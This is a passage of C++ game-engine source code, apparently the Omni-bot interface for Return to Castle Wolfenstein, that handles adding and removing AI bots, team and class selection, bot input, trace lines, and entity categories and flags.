if (diff < -fov * 0.5) return qfalse;
}
}
return qtrue;
}
class RTCWInterface : public IEngineInterface
{
public:
int AddBot(const MessageHelper &_data)
{
if (level.framenum < 6) // no GAME_INIT_FRAMES in 1.0..hardcoded ftl
{
return -1;
}
OB_GETMSG(Msg_Addbot);
int num;
char userinfo[MAX_INFO_STRING] = {0};
gentity_t* bot;
num = trap_BotAllocateClient();
if (num < 0)
{
PrintError("Could not add bot!");
PrintError("No free slots!");
return -1;
}
std::stringstream guid;
guid << "OMNIBOT" << std::setw(2) << std::setfill('0') << num << std::right << std::setw(23) << "";
bot = &g_entities[num];
Info_SetValueForKey(userinfo, "name", pMsg->m_Name);
Info_SetValueForKey(userinfo, "rate", "25000");
Info_SetValueForKey(userinfo, "snaps", "20");
Info_SetValueForKey(userinfo, "ip", "localhost");
Info_SetValueForKey(userinfo, "cl_anonymous", "0");
Info_SetValueForKey(userinfo, "cl_guid", guid.str().c_str());
trap_SetUserinfo(num, userinfo);
const char *s = 0;
if(s = ClientConnect(num, qtrue, qtrue))
{
PrintError(va("Could not connect bot: %s", s));
num = -1;
}
return num;
}
void RemoveBot(const MessageHelper &_data)
{
OB_GETMSG(Msg_Kickbot);
if(pMsg->m_GameId != Msg_Kickbot::InvalidGameId)
{
if(pMsg->m_GameId >= 0 && pMsg->m_GameId < MAX_CLIENTS)
{
gentity_t *ent = &g_entities[pMsg->m_GameId];
if(IsBot(ent))
trap_DropClient(pMsg->m_GameId, "disconnected");
}
}
else
{
char cleanNetName[MAX_NETNAME];
char cleanName[MAX_NAME_LENGTH];
Q_strncpyz(cleanName, pMsg->m_Name, MAX_NAME_LENGTH);
Q_CleanStr(cleanName);
for(int i = 0; i < MAX_CLIENTS; i++)
{
if(!g_entities[i].inuse)
continue;
if (!IsBot(&g_entities[i]))
continue;
// clean stuff
Q_strncpyz(cleanNetName, g_entities[i].client->pers.netname, MAX_NETNAME);
Q_CleanStr(cleanNetName);
if(!Q_stricmp(cleanNetName, cleanName))
{
trap_DropClient(i, "disconnected");
}
}
}
}
obResult ChangeTeam(int _client, int _newteam, const MessageHelper *_data)
{
gentity_t* bot;
char* teamName;
bot = &g_entities[_client];
if ( _newteam && g_botTeam.integer > 0 && g_botTeam.integer < 3 )
{
_newteam = g_botTeam.integer;
}
// find a team if we didn't get one and we need one ;-)
if (_newteam != RTCW_TEAM_ALLIES && _newteam != RTCW_TEAM_AXIS)
{
if ((_newteam == RANDOM_TEAM) ||
(bot->client->sess.sessionTeam != TEAM_RED &&
bot->client->sess.sessionTeam != TEAM_BLUE))
{
if (TeamCount(_client, TEAM_BLUE) <= TeamCount(_client, TEAM_RED))
{
_newteam = RTCW_TEAM_ALLIES;
}
else
{
_newteam = RTCW_TEAM_AXIS;
}
}
else
{
// remember old team
_newteam = Bot_TeamGameToBot(bot->client->sess.sessionTeam);
}
}
if (_newteam == RTCW_TEAM_AXIS) {
teamName = "red";
} else {
teamName = "blue";
}
// always go to spectator first to solve problems on map restarts
//SetTeam(bot, "spectator");
Msg_PlayerChooseEquipment *pMsg = 0;
if(_data) _data->Get2(pMsg);
if(pMsg)
{
if(pMsg->m_WeaponChoice[0])
//bot->client->sess.latchPlayerWeapon = _weaponBotToGame(pMsg->m_WeaponChoice[0]);
bot->client->sess.latchPlayerWeapon = _weaponBotToMpWeapon(pMsg->m_WeaponChoice[0]);
/*if(pMsg->m_WeaponChoice[1])
bot->client->sess.latchPlayerWeapon2 = _weaponBotToGame(pMsg->m_WeaponChoice[1]);*/
}
{
const int iBotTeam = Bot_TeamGameToBot(bot->client->sess.sessionTeam);
const int iBotClass = Bot_PlayerClassGameToBot(bot->client->sess.latchPlayerType);
//G_IsWeaponDisabled ?
if(!bot->client->sess.latchPlayerWeapon || iBotTeam != _newteam)
//bot->client->sess.latchPlayerWeapon = _weaponBotToGame(_choosePriWeap(iBotClass, _newteam));
bot->client->sess.latchPlayerWeapon = _weaponBotToMpWeapon(_choosePriWeap(iBotClass, _newteam));
/*if(!bot->client->sess.latchPlayerWeapon2 || iBotTeam != _newteam)
bot->client->sess.latchPlayerWeapon2 = _weaponBotToGame(_chooseSecWeap(iBotClass, _newteam));*/
}
SetTeam(bot, teamName, qfalse);
//ReTransmitWeapons(bot);
return Success;
}
obResult ChangeClass(int _client, int _newclass, const MessageHelper *_data)
{
gentity_t* bot;
int team;
team_t predictedTeam = TEAM_FREE;
bot = &g_entities[_client];
// find playerclass if we didn't got one
if (_newclass <= RTCW_CLASS_NULL || _newclass >= RTCW_CLASS_MAX)
{
if ((_newclass == RANDOM_CLASS) || (bot->client->sess.latchPlayerType < 0) ||
(bot->client->sess.latchPlayerType >= NUM_PLAYER_CLASSES))
{
if ( g_botTeam.integer == 1 ) {
predictedTeam = TEAM_RED;
} else if ( g_botTeam.integer == 2 ) {
predictedTeam = TEAM_BLUE;
} else if (TeamCount(_client, TEAM_BLUE) <= TeamCount(_client, TEAM_RED)) {
predictedTeam = TEAM_BLUE;
} else {
predictedTeam = TEAM_RED;
}
if (CountPlayerClass(predictedTeam, PC_ENGINEER) < OMNIBOT_MIN_ENG) {
_newclass = RTCW_CLASS_ENGINEER;
} else if (CountPlayerClass(predictedTeam, PC_MEDIC) < OMNIBOT_MIN_MED) {
_newclass = RTCW_CLASS_MEDIC;
} else if (CountPlayerClass(predictedTeam, PC_LT) < OMNIBOT_MIN_LT) {
_newclass = RTCW_CLASS_LIEUTENANT;
} else if (CountPlayerClass(predictedTeam, PC_SOLDIER) < OMNIBOT_MIN_SOL) {
_newclass = RTCW_CLASS_SOLDIER;
} else {
_newclass = Bot_PlayerClassGameToBot(rand() % NUM_PLAYER_CLASSES);
}
}
else
{
_newclass = Bot_PlayerClassGameToBot(bot->client->sess.latchPlayerType);
}
}
team = Bot_TeamGameToBot(bot->client->sess.sessionTeam);
bot->client->sess.latchPlayerType = playerClassBotToGame(_newclass);
Msg_PlayerChooseEquipment *pMsg = 0;
if(_data) _data->Get2(pMsg);
if(pMsg)
{
if(pMsg->m_WeaponChoice[0])
bot->client->sess.latchPlayerWeapon = _weaponBotToMpWeapon(pMsg->m_WeaponChoice[0]);
/*if(pMsg->m_WeaponChoice[1])
bot->client->sess.latchPlayerWeapon2 = _weaponBotToGame(pMsg->m_WeaponChoice[1]);*/
}
{
const int iBotClass = Bot_PlayerClassGameToBot(bot->client->sess.latchPlayerType);
if(!bot->client->sess.latchPlayerWeapon || bot->client->sess.latchPlayerType != bot->client->sess.playerType)
bot->client->sess.latchPlayerWeapon = _weaponBotToMpWeapon(_choosePriWeap(iBotClass, team));
/*if(!bot->client->sess.latchPlayerWeapon2 || bot->client->sess.latchPlayerType != bot->client->sess.playerType)
bot->client->sess.latchPlayerWeapon2 = _weaponBotToGame(_chooseSecWeap(iBotClass, team));*/
}
// commit suicide to ensure new class is used
// CS: wait until 2 seconds before next spawn
if (bot->client->sess.latchPlayerType != bot->client->sess.playerType)
{
//round end.
if ( bot->client->ps.pm_flags & PMF_TIME_LOCKPLAYER )
{
Cmd_Kill_f(bot);
}
else if ( !(bot->client->ps.pm_flags & PMF_LIMBO) )
{
bot->client->sess.botSuicide = qtrue;
}
}
else
{
// also retransmit weapons stuff
ReTransmitWeapons(bot);
}
return Success;
}
bool DebugLine(const float _start[3], const float _end[3], const obColor &_color, float _time)
{
// for dedicated servers we tell the bot we can handle this function, so it doesn't open
// an IPC channel.
if(g_dedicated.integer)
return true;
return false;
}
bool DebugRadius(const float _pos[3], const float _radius, const obColor &_color, float _time)
{
// for dedicated servers we tell the bot we can handle this function, so it doesn't open
// an IPC channel.
if(g_dedicated.integer)
return true;
return false;
}
void UpdateBotInput(int _client, const ClientInput &_input)
{
static usercmd_t cmd;
vec3_t angles, forward, right;
gentity_t *bot = &g_entities[_client];
// only causes problems
bot->client->ps.pm_flags &= ~PMF_RESPAWNED;
memset(&cmd, 0, sizeof(cmd));
cmd.identClient = _client;
cmd.serverTime = level.time;
// Set the weapon
cmd.weapon = _weaponBotToGame(_input.m_CurrentWeapon);
// Process the bot keypresses.
if(_input.m_ButtonFlags.CheckFlag(BOT_BUTTON_RESPAWN))
cmd.buttons |= BUTTON_ACTIVATE;
if(_input.m_ButtonFlags.CheckFlag(BOT_BUTTON_ATTACK1))
cmd.buttons |= BUTTON_ATTACK;
if(_input.m_ButtonFlags.CheckFlag(BOT_BUTTON_WALK))
cmd.buttons |= BUTTON_WALKING;
else if(_input.m_ButtonFlags.CheckFlag(BOT_BUTTON_SPRINT))
cmd.buttons |= BUTTON_SPRINT;
if(_input.m_ButtonFlags.CheckFlag(BOT_BUTTON_USE))
cmd.buttons |= BUTTON_ACTIVATE;
// wbuttons
if(_input.m_ButtonFlags.CheckFlag(BOT_BUTTON_ATTACK2))
cmd.wbuttons |= WBUTTON_ATTACK2;
if(_input.m_ButtonFlags.CheckFlag(BOT_BUTTON_DROP))
cmd.wbuttons |= WBUTTON_DROP;
// if we have aim held
if(_input.m_ButtonFlags.CheckFlag(BOT_BUTTON_AIM))
{
//if(!(bot->s.eFlags & EF_ZOOMING))
cmd.wbuttons |= WBUTTON_ZOOM;
}
else
{
// if aim not held and we're zooming, zoom out.
//if(bot->s.eFlags & EF_ZOOMING)
//{
// trap_EA_Command(_client, "-zoom");
// //cmd.wbuttons |= WBUTTON_ZOOM;
//}
}
if(_input.m_ButtonFlags.CheckFlag(BOT_BUTTON_LEANLEFT))
cmd.wbuttons |= WBUTTON_LEANLEFT;
else if(_input.m_ButtonFlags.CheckFlag(BOT_BUTTON_LEANRIGHT))
cmd.wbuttons |= WBUTTON_LEANRIGHT;
if(bot->client->ps.weaponstate == WEAPON_RELOADING)
{
// keep the same weapon while reloading
cmd.weapon = bot->client->ps.weapon;
}
else if(_input.m_ButtonFlags.CheckFlag(BOT_BUTTON_RELOAD))
{
/*switch(_input.m_CurrentWeapon)
{
case RTCW_WP_SNIPERRIFLE:
cmd.weapon = _weaponBotToGame(RTCW_WP_MAUSER);
break;
default:
cmd.wbuttons |= WBUTTON_RELOAD;
}*/
cmd.wbuttons |= WBUTTON_RELOAD;
}
// don't process view angles and moving stuff when dead
if(bot->client->ps.pm_type >= PM_DEAD || bot->client->ps.pm_flags & (PMF_LIMBO|PMF_TIME_LOCKPLAYER))
{
// cant move in these states
cmd.buttons &= ~BUTTON_ATTACK;
cmd.wbuttons &= ~WBUTTON_ATTACK2;
}
else
{
float fMaxSpeed = 127.f;
// Convert the bots vector to angles and set the view angle to the orientation
vectoangles(_input.m_Facing, angles);
SetClientViewAngle(bot, angles);
if(cmd.buttons & BUTTON_WALKING)
fMaxSpeed = 64.f;
// Convert the move direction into forward and right moves to
// take the bots orientation into account.
AngleVectors(angles, forward, right, NULL);
const float fwd = DotProduct(forward, _input.m_MoveDir);
const float rght = DotProduct(right, _input.m_MoveDir);
cmd.forwardmove = (char)(fwd * fMaxSpeed);
cmd.rightmove = (char)(rght * fMaxSpeed);
if(_input.m_ButtonFlags.CheckFlag(BOT_BUTTON_FWD) || _input.m_ButtonFlags.CheckFlag(BOT_BUTTON_MOVEUP))
cmd.forwardmove = fMaxSpeed;
if(_input.m_ButtonFlags.CheckFlag(BOT_BUTTON_BACK) || _input.m_ButtonFlags.CheckFlag(BOT_BUTTON_MOVEDN))
cmd.forwardmove = -fMaxSpeed;
if(_input.m_ButtonFlags.CheckFlag(BOT_BUTTON_RSTRAFE))
cmd.rightmove = fMaxSpeed;
if(_input.m_ButtonFlags.CheckFlag(BOT_BUTTON_LSTRAFE))
cmd.rightmove = -fMaxSpeed;
if(_input.m_ButtonFlags.CheckFlag(BOT_BUTTON_JUMP))
cmd.upmove = fMaxSpeed;
if(_input.m_ButtonFlags.CheckFlag(BOT_BUTTON_CROUCH))
cmd.upmove = -fMaxSpeed;
}
trap_BotUserCommand(_client, &cmd);
}
void BotCommand(int _client, const char *_cmd)
{
trap_EA_Command(_client, (char *)_cmd);
}
obBool IsInPVS(const float _pos[3], const float _target[3])
{
return trap_InPVS(_pos, _target) ? True : False;
}
obResult TraceLine(obTraceResult &_result, const float _start[3], const float _end[3],
const AABB *_pBBox , int _mask, int _user, obBool _bUsePVS)
{
trace_t tr;
int iMask = 0;
qboolean bInPVS = _bUsePVS ? trap_InPVS(_start, _end) : qtrue;
if(bInPVS)
{
// Set up the collision masks
if(_mask & TR_MASK_ALL)
iMask = MASK_ALL;
else
{
if(_mask & TR_MASK_SOLID)
iMask |= MASK_SOLID;
if(_mask & TR_MASK_PLAYER)
iMask |= MASK_PLAYERSOLID;
if(_mask & TR_MASK_SHOT)
iMask |= MASK_SHOT;
if(_mask & TR_MASK_OPAQUE)
iMask |= MASK_OPAQUE;
if(_mask & TR_MASK_WATER)
iMask |= MASK_WATER;
if(_mask & TR_MASK_PLAYERCLIP)
iMask |= CONTENTS_PLAYERCLIP;
if(_mask & TR_MASK_FLOODFILL)
iMask |= CONTENTS_PLAYERCLIP|CONTENTS_SOLID;
if(_mask & TR_MASK_SMOKEBOMB)
{
gentity_t *pSmokeBlocker = Bot_EntInvisibleBySmokeBomb((float*)_start, (float*)_end);
if(pSmokeBlocker)
{
_result.m_Fraction = 0.0f;
_result.m_HitEntity = HandleFromEntity(pSmokeBlocker);
return Success;
}
}
}
trap_Trace(&tr, _start,
_pBBox ? _pBBox->m_Mins : NULL,
_pBBox ? _pBBox->m_Maxs : NULL,
_end, _user, iMask);
if((tr.entityNum != ENTITYNUM_WORLD) && (tr.entityNum != ENTITYNUM_NONE))
_result.m_HitEntity = HandleFromEntity(&g_entities[tr.entityNum]);
else
_result.m_HitEntity.Reset();
//_result.m_iUser1 = tr.surfaceFlags;
// Fill in the bot traceflag.
_result.m_Fraction = tr.fraction;
_result.m_StartSolid = tr.startsolid;
_result.m_Endpos[0] = tr.endpos[0];
_result.m_Endpos[1] = tr.endpos[1];
_result.m_Endpos[2] = tr.endpos[2];
_result.m_Normal[0] = tr.plane.normal[0];
_result.m_Normal[1] = tr.plane.normal[1];
_result.m_Normal[2] = tr.plane.normal[2];
_result.m_Contents = obUtilBotContentsFromGameContents(tr.contents);
_result.m_Surface = obUtilBotSurfaceFromGameSurface(tr.surfaceFlags);
}
else
{
// Not in PVS
_result.m_Fraction = 0.0f;
_result.m_HitEntity.Reset();
}
return bInPVS ? Success : OutOfPVS;
}
GameEntity GetLocalGameEntity()
{
return EntityFromID(0);
}
int GetPointContents(const float _pos[3])
{
vec3_t vpos = { _pos[0], _pos[1], _pos[2] };
int iContents = trap_PointContents(vpos, -1);
return obUtilBotContentsFromGameContents(iContents);
}
GameEntity FindEntityInSphere(const float _pos[3], float _radius, GameEntity _pStart, int classId)
{
// square it to avoid the square root in the distance check.
gentity_t *pStartEnt = _pStart.IsValid() ? EntityFromHandle(_pStart) : 0;
const char *pClassName = 0;
int iPlayerClass = 0;
int iSpawnFlags = 0;
switch(classId)
{
case RTCW_CLASS_SOLDIER:
case RTCW_CLASS_MEDIC:
case RTCW_CLASS_ENGINEER:
case RTCW_CLASS_LIEUTENANT:
case RTCW_CLASS_ANY:
iPlayerClass = classId != RTCW_CLASS_ANY ? classId : 0;
pClassName = "player";
break;
//////////////////////////////////////////////////////////////////////////
case RTCW_CLASSEX_MG42MOUNT:
pClassName = "misc_mg42";
break;
case RTCW_CLASSEX_DYNAMITE:
pClassName = "dynamite";
break;
case RTCW_CLASSEX_BREAKABLE:
break;
case RTCW_CLASSEX_CORPSE:
pClassName = "corpse";
break;
case RTCW_CLASSEX_TREASURE:
pClassName = "item_treasure";
break;
case RTCW_CLASSEX_GRENADE:
pClassName = "grenade";
break;
case RTCW_CLASSEX_ROCKET:
pClassName = "rocket";
break;
case RTCW_CLASSEX_ARTY:
pClassName = "air strike";
break;
case RTCW_CLASSEX_AIRSTRIKE:
pClassName = "air strike";
break;
case RTCW_CLASSEX_FLAMECHUNK:
pClassName = "flamechunk";
break;
}
if(pClassName)
{
float fSqRad = _radius * _radius;
vec3_t toent;
while((pStartEnt = G_Find(pStartEnt, FOFS(classname), pClassName)) != NULL)
{
if(iPlayerClass && pStartEnt->client &&
pStartEnt->client->sess.sessionTeam != iPlayerClass)
continue;
if(iSpawnFlags && !(pStartEnt->spawnflags & iSpawnFlags))
continue;
VectorSubtract(_pos, pStartEnt->r.currentOrigin, toent);
if(VectorLengthSquared(toent) < fSqRad)
break;
}
return HandleFromEntity(pStartEnt);
}
return GameEntity();
}
int GetEntityClass(const GameEntity _ent)
{
gentity_t *pEnt = EntityFromHandle(_ent);
return pEnt && pEnt->inuse ? _GetEntityClass(pEnt) : RTCW_TEAM_NONE;
}
obResult GetEntityCategory(const GameEntity _ent, BitFlag32 &_category)
{
obResult res = Success;
gentity_t *pEnt = EntityFromHandle(_ent);
if(!pEnt)
return InvalidEntity;
// hack, when the game joins clients again after warmup, they are temporarily ET_GENERAL entities(LAME)
int t = pEnt->s.eType;
if(pEnt->client && (pEnt-g_entities)<MAX_CLIENTS)
t = ET_PLAYER;
switch(t)
{
case ET_GENERAL:
{
if(!Q_stricmp(pEnt->classname, "func_invisible_user"))
{
// The damage flags tells us the type.
switch(pEnt->s.dmgFlags)
{
case HINT_BUTTON:
_category.SetFlag(ENT_CAT_TRIGGER);
_category.SetFlag(ENT_CAT_STATIC);
break;
}
}
else if(!Q_stricmp(pEnt->classname, "func_button"))
{
_category.SetFlag(ENT_CAT_TRIGGER);
_category.SetFlag(ENT_CAT_STATIC);
// continue for now so it doesnt get regged
//continue;
}
else if (!Q_stricmp( pEnt->classname, "misc_mg42" ) && (pEnt->health > 0))
{
_category.SetFlag(ENT_CAT_MOUNTEDWEAPON);
_category.SetFlag(ENT_CAT_SHOOTABLE);
}
else
res = InvalidEntity;
break;
}
case ET_PLAYER:
{
if (!pEnt->client || /*(pEnt->entstate == STATE_INVISIBLE) ||*/
(pEnt->client->ps.pm_type == PM_SPECTATOR) ||
(pEnt->client->sess.sessionTeam != TEAM_RED &&
pEnt->client->sess.sessionTeam != TEAM_BLUE))
{
res = InvalidEntity;
break;
}
// Special case for dead players that haven't respawned.
//if(pEnt->health <= 0)
//{
// _category.SetFlag(ENT_CAT_MISC);
// break;
//}
if ( pEnt->health > GIB_HEALTH )
{
if ( !pEnt->client->ps.powerups[PW_INVULNERABLE] )
_category.SetFlag(ENT_CAT_SHOOTABLE);
_category.SetFlag(ENT_CAT_PLAYER);
}
break;
}
case ET_ITEM:
{
if(!Q_strncmp(pEnt->classname, "item_health", strlen("item_health")))
_category.SetFlag(ENT_CAT_PICKUP);
else if(!Q_strncmp(pEnt->classname, "weapon_magicammo", strlen("weapon_magicammo")))
_category.SetFlag(ENT_CAT_PICKUP);
else if(!Q_stricmp(pEnt->classname, "item_treasure"))
_category.SetFlag(ENT_CAT_PICKUP);
else if(pEnt->item && pEnt->item->giType == IT_WEAPON)
_category.SetFlag(ENT_CAT_PICKUP);
else
res = InvalidEntity;
break;
}
#ifndef ONEPOINTZERO
case ET_CORPSE:
{
_category.SetFlag(ENT_CAT_MISC);
break;
}
#endif
case ET_MISSILE:
{
// Register certain weapons as threats to avoid or whatever.
switch(pEnt->s.weapon)
{
case WP_GRENADE_PINEAPPLE:
case WP_PANZERFAUST:
case WP_ARTY:
case WP_DYNAMITE:
case WP_DYNAMITE2:
_category.SetFlag(ENT_CAT_AVOID);
_category.SetFlag(ENT_CAT_PROJECTILE);
// cs: commenting for now since they target their own teams as well
// script goal would be better anyway since they probably want to avoid and nade it
//if( pEnt->methodOfDeath == MOD_LANDMINE )
//{
// _category.SetFlag(ENT_CAT_SHOOTABLE);
//}
break;
default:
if(!Q_strncmp(pEnt->classname, "air strike", sizeof("air strike")))
{
_category.SetFlag(ENT_CAT_AVOID);
_category.SetFlag(ENT_CAT_PROJECTILE);
break;
}
else
res = InvalidEntity;
}
break;
}
case ET_FLAMETHROWER_CHUNK:
{
_category.SetFlag(ENT_CAT_AVOID);
_category.SetFlag(ENT_CAT_PROJECTILE);
break;
}
case ET_MOVER:
{
if (!Q_stricmp(pEnt->classname, "script_mover"))
{
if(pEnt->model2)
_category.SetFlag(ENT_CAT_VEHICLE);
else
_category.SetFlag(ENT_CAT_MOVER);
_category.SetFlag(ENT_CAT_STATIC);
if((pEnt->health > 0) && (pEnt->takedamage == qtrue))
{
_category.SetFlag(ENT_CAT_SHOOTABLE);
}
}
/* else if (!Q_stricmp(pEnt->classname, "props_flamebarrel"))
{
if ((pEnt->health > 0) && (pEnt->takedamage == qtrue))
{
_category.SetFlag(ENT_CAT_SHOOTABLE);
}
}*/
else if (!Q_stricmp (pEnt->classname, "props_chair_hiback"))
{
if ((pEnt->health > 0) && (pEnt->takedamage == qtrue))
{
_category.SetFlag(ENT_CAT_SHOOTABLE);
}
}
else if (!Q_stricmp (pEnt->classname, "props_chair"))
{
if ((pEnt->health > 0) && (pEnt->takedamage == qtrue))
{
_category.SetFlag(ENT_CAT_SHOOTABLE);
}
}
else if (!Q_stricmp (pEnt->classname, "props_chair_side"))
{
if ((pEnt->health > 0) && (pEnt->takedamage == qtrue))
{
_category.SetFlag(ENT_CAT_SHOOTABLE);
}
}
/*else if (!Q_stricmp(pCurrent->classname, "props_statue"))
{
info.m_EntityClass = ET_CLASSEX_BREAKABLE;
info.m_EntityCategory = ENT_CAT_SHOOTABLE;
}*/
else
res = InvalidEntity;
break;
}
/*case ET_PROP:
{
if ((pEnt->health > 0) && (pEnt->takedamage == qtrue))
{
_category.SetFlag(ENT_CAT_SHOOTABLE);
}
break;
}*/
#ifndef ONEPOINTZERO
case ET_MG42_BARREL:
{
if((pEnt->health > 0) /*&&
(pEnt->entstate != STATE_INVISIBLE)*/)
{
_category.SetFlag(ENT_CAT_MOUNTEDWEAPON);
_category.SetFlag(ENT_CAT_SHOOTABLE);
}
else
res = InvalidEntity;
break;
}
#endif
/*case ET_AAGUN:
{
if((pCurrent->health > 0) &&
(pCurrent->entstate != STATE_INVISIBLE) &&
(pCurrent->entstate != STATE_UNDERCONSTRUCTION))
{
}
break;
}*/
case ET_EXPLOSIVE:
{
if ((pEnt->health > 0) && (pEnt->takedamage == qtrue))
{
_category.SetFlag(ENT_CAT_SHOOTABLE);
}
else
res = InvalidEntity;
break;
}
//case ET_CONSTRUCTIBLE:
//{
//if (G_ConstructionIsPartlyBuilt(pCurrent) &&
// !(pCurrent->spawnflags & CONSTRUCTIBLE_INVULNERABLE) &&
// (pCurrent->constructibleStats.weaponclass == 0))
//{
// info.m_EntityClass = ET_CLASSEX_BREAKABLE;
// info.m_EntityCategory = ENT_CAT_SHOOTABLE;
//}
//else
//{
//}
//break;
//}
default:
res = InvalidEntity;
break; // ignore this type.
};
return res;
}
obResult GetEntityFlags(const GameEntity _ent, BitFlag64 &_flags)
{
gentity_t *pEnt = EntityFromHandle(_ent);
if(pEnt && pEnt->inuse)
{
// Set any flags.
if ( pEnt->s.eType == ET_PLAYER && pEnt->health > GIB_HEALTH && pEnt->health < 0
&& g_OmniBotGib.integer )
{
//ungibbed players are proned
_flags.SetFlag(ENT_FLAG_PRONED);
_flags.SetFlag(ENT_FLAG_VISTEST);
}
else if(pEnt->health <= 0)
_flags.SetFlag(ENT_FLAG_DEAD);
if(pEnt->client && !IsBot(pEnt))
_flags.SetFlag(ENT_FLAG_HUMANCONTROLLED);
if(pEnt->waterlevel >= 3)
_flags.SetFlag(ENT_FLAG_UNDERWATER);
else if(pEnt->waterlevel > 0)
_flags.SetFlag(ENT_FLAG_INWATER);
if(pEnt->s.eFlags & EF_ZOOMING)
_flags.SetFlag(ENT_FLAG_ZOOMING);
if(pEnt->s.eFlags & EF_MG42_ACTIVE)
_flags.SetFlag(RTCW_ENT_FLAG_MNT_MG42);
if(pEnt->s.eType == ET_MOVER)
_flags.SetFlag(ENT_FLAG_VISTEST);
if(pEnt->poisoned)
_flags.SetFlag(RTCW_ENT_FLAG_POISONED);
#ifndef ONEPOINTZERO
if(pEnt->s.eType == ET_MG42_BARREL)
{
_flags.SetFlag(ENT_FLAG_DEAD, Simple_EmplacedGunIsRepairable(pEnt)!=0);
_flags.SetFlag(ENT_FLAG_VISTEST);
if(_EmplacedGunIsMountable(pEnt))
_flags.SetFlag(RTCW_ENT_FLAG_ISMOUNTABLE);
}
#endif
if(pEnt->client)
{
if(pEnt->client->ps.pm_flags & PMF_LADDER)
_flags.SetFlag(ENT_FLAG_ONLADDER);
if(pEnt->client->ps.pm_flags & PMF_DUCKED)
_flags.SetFlag(ENT_FLAG_CROUCHED);
if(pEnt->client->ps.groundEntityNum != ENTITYNUM_NONE)
_flags.SetFlag(ENT_FLAG_ONGROUND);
if(pEnt->client->ps.weaponstate == WEAPON_RELOADING)
_flags.SetFlag(ENT_FLAG_RELOADING);
if (pEnt->client->ps.powerups[PW_REDFLAG] || pEnt->client->ps.powerups[PW_BLUEFLAG])
_flags.SetFlag(RTCW_ENT_FLAG_CARRYINGGOAL);
if(pEnt->client->ps.pm_flags & PMF_LIMBO)
_flags.SetFlag(RTCW_ENT_FLAG_INLIMBO);
if (pEnt->client->ps.isSpy)
_flags.SetFlag(RTCW_ENT_FLAG_DISGUISED);
}
// hack, when the game joins clients again after warmup, they are temporarily ET_GENERAL entities(LAME)
int t = pEnt->s.eType;
if(pEnt->client && (pEnt-g_entities)<MAX_CLIENTS)
t = ET_PLAYER;
switch(t)
{
case ET_GENERAL:
{
_flags.SetFlag(ENT_FLAG_VISTEST);
if (!Q_stricmp( pEnt->classname, "misc_mg42" ))
{
_flags.SetFlag(ENT_FLAG_DEAD, Simple_EmplacedGunIsRepairable(pEnt)!=0);
if(_EmplacedGunIsMountable(pEnt))
_flags.SetFlag(RTCW_ENT_FLAG_ISMOUNTABLE);
if(pEnt->health < 0)
_flags.SetFlag(ENT_FLAG_DEAD);
}
break;
}
case ET_PLAYER:
{
_flags.SetFlag(ENT_FLAG_VISTEST);
if(pEnt->health <= 0)
if(!pEnt->r.linked || pEnt->health < GIB_HEALTH)
_flags.SetFlag(ENT_FLAG_DISABLED);
break;
/*if(!pEnt->takedamage)
_flags.SetFlag(ENT_FLAG_DISABLED);
break;*/
}
#ifndef ONEPOINTZERO
case ET_CORPSE:
{
_flags.SetFlag(ENT_FLAG_VISTEST);
if(!pEnt->r.linked || pEnt->health < GIB_HEALTH)
_flags.SetFlag(ENT_FLAG_DISABLED);
break;
/*if(!pEnt->r.linked || !pEnt->takedamage)
_flags.SetFlag(ENT_FLAG_DISABLED);
break;*/
}
#endif
case ET_EXPLOSIVE:
{
_flags.SetFlag(ENT_FLAG_VISTEST);
break;
}
/* case ET_PROP:
{
_flags.SetFlag(ENT_FLAG_VISTEST);
break;
}*/
case ET_MISSILE:
{
// Register certain weapons as threats to avoid or whatever.
switch(pEnt->s.weapon)
{
case WP_GRENADE_PINEAPPLE:
case WP_PANZERFAUST:
case WP_ARTY:
case WP_DYNAMITE:
case WP_DYNAMITE2:
default:
_flags.SetFlag(ENT_FLAG_VISTEST);
}
break;
}
#ifndef ONEPOINTZERO
case ET_MG42_BARREL:
{
if((pEnt->health < 0) /*||
(pEnt->entstate == STATE_INVISIBLE)*/)
{
_flags.SetFlag(ENT_FLAG_DEAD);
}
break;
}
#endif
//default:
// _flags.SetFlag(ENT_FLAG_VISTEST);
}
}
return Success;
}
obResult GetEntityPowerups(const GameEntity _ent, BitFlag64 &_flags)
{
gentity_t *pEnt = EntityFromHandle(_ent);
if(!pEnt)
return InvalidEntity;
if(pEnt && pEnt->client)
{
if(pEnt->client->ps.powerups[PW_INVULNERABLE] || (pEnt->flags & FL_GODMODE))
_flags.SetFlag(PWR_INVINCIBLE);
if(pEnt->client->ps.powerups[PW_FIRE])
_flags.SetFlag(RTCW_PWR_FIRE);
if(pEnt->client->ps.powerups[PW_ELECTRIC])
_flags.SetFlag(RTCW_PWR_ELECTRIC);
if(pEnt->client->ps.powerups[PW_BREATHER])
_flags.SetFlag(RTCW_PWR_BREATHER);
if(pEnt->client->ps.powerups[PW_NOFATIGUE])
_flags.SetFlag(RTCW_PWR_NOFATIGUE);
if(pEnt->client->ps.powerups[PW_REDFLAG])
_flags.SetFlag(RTCW_PWR_REDFLAG);
if(pEnt->client->ps.powerups[PW_BLUEFLAG])
_flags.SetFlag(RTCW_PWR_BLUEFLAG);
if(pEnt->client->ps.powerups[PW_BALL])
_flags.SetFlag(RTCW_PWR_BALL);
}
return Success;
}
obResult GetEntityEyePosition(const GameEntity _ent, float _pos[3])
{
if(GetEntityPosition(_ent, _pos) == Success)
{
gentity_t *pEnt = EntityFromHandle(_ent);
if(pEnt && pEnt->client)
{
_pos[2] += pEnt->client->ps.viewheight;
}
return Success;
}
return InvalidEntity;
}
obResult GetEntityBonePosition(const GameEntity _ent, int _boneid, float _pos[3])
{
// ET doesnt really support bones
return GetEntityPosition(_ent, _pos);
}
obResult GetEntityOrientation(const GameEntity _ent, float _fwd[3], float _right[3], float _up[3])
{
gentity_t *pEnt = EntityFromHandle(_ent);
if (pEnt && pEnt->inuse)
{
if(pEnt->client)
{
AngleVectors(pEnt->client->ps.viewangles, _fwd, _right, _up);
}
else
{
AngleVectors(pEnt->s.angles, _fwd, _right, _up);
}
return Success;
}
return InvalidEntity;
}
obResult GetEntityVelocity(const GameEntity _ent, float _velocity[3])
{
gentity_t *pEnt = EntityFromHandle(_ent);
if (pEnt && pEnt->inuse)
{
// getting crazy velocities when filtered as ET_MOVER
// temp fix for targeting these
if (!Q_stricmp(pEnt->classname, "props_flamebarrel") ||
!Q_stricmp(pEnt->classname, "props_chair_hiback") ||
!Q_stricmp(pEnt->classname, "props_chair") ||
!Q_stricmp(pEnt->classname, "props_chair_side"))
{
_velocity[0] = pEnt->s.pos.trDelta[0];
_velocity[1] = pEnt->s.pos.trDelta[1];
_velocity[2] = pEnt->s.pos.trDelta[2];
}
